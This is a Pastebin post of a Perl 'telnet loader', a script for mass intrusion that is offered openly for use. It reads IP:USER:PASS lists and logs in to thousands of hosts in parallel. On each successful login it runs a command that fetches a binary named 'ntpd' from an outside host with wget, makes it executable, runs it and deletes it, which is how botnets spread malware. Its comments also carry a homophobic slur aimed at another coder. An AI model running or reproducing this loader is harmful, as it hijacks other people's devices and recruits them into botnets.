Advertisement
1337ings

[Perl] Telnet-Loader | Format: IP:USERNAME:PASSWORD

Mar 9th, 2017
2,031
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # - - - - - - - - - - - - - - - - - - - - - - - #
  3. # Telnet Loader
  4. # IP:USERNAME:PASSWORD format
  5. # Created because LNO_LIGHT is gay
  6. # & doesn't know how to code a working loader
  7. # this is LNOs' gay python version
  8. # http://pastebin.com/SGKZY757
  9. # as you can see, it doesn't/won't
  10. # connect/execute the payload lool
  11. # so if you're dearest friends with
  12. # LNO_LiGHT please consist of showing
  13. # him this elegant code :)
  14. # - - - - - - - - - - - - - - - - - - - - - - - #
  15. # Usage: perl telnet_loader.pl telnet_list.txt
  16. # Format: IP:USER:PASS
  17. # - - - - - - - - - - - - - - - - - - - - - - - #
  18. if (@ARGV < 1)
  19. {
  20. print "Usage: perl " . $0 . " <list>\n";
  21. exit;
  22. }
  23. use Net::Telnet;
  24. use Parallel::ForkManager;
  25. my $worker = new Parallel::ForkManager(4000); # threads to use
  26. open(fh, "<", @ARGV[0]); @login; while (<fh>) #don't edit this, "perl telnet_loader.pl telnet_list.txt"
  27. {
  28. @array = split(":", $_); push(@login, @array);
  29. }
  30. for (my $i = 0; $i < scalar(@login); $i += 3)
  31. {
  32. $worker->start and next;
  33. $a = $i + 2; # IP Address
  34. $b = $i; # Username
  35. $c = $i + 1; # Password
  36. $telnet = new Net::Telnet(Errmode=>"return");
  37. if ($telnet->open($login[$a]))
  38. {
  39. if ($telnet->login(($login[$b] == "" ? "\0" : $login[$b]), ($login[$c] == "" ? "\0" : $login[$c])))
  40. {
  41. $telnet->cmd("cd /tmp/; wget 1.3.3.7/ntpd; chmod 777 *; ./ntpd; rm -fr ntpd"); #payload
  42. sleep 30;
  43. print "[\033[32m+\033[37m] Command sent to $login[$a]\n";
  44. }
  45. else
  46. {
  47. print "[\033[31m-\033[37m] Cannot authenticate $login[$a]\n";
  48. }
  49. }
  50. else
  51. {
  52. print "[\033[31m-\033[37m] Cannot connect to $login[$a]\n";
  53. }
  54. $worker->finish;
  55. }
  56. $worker->wait_all_children;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement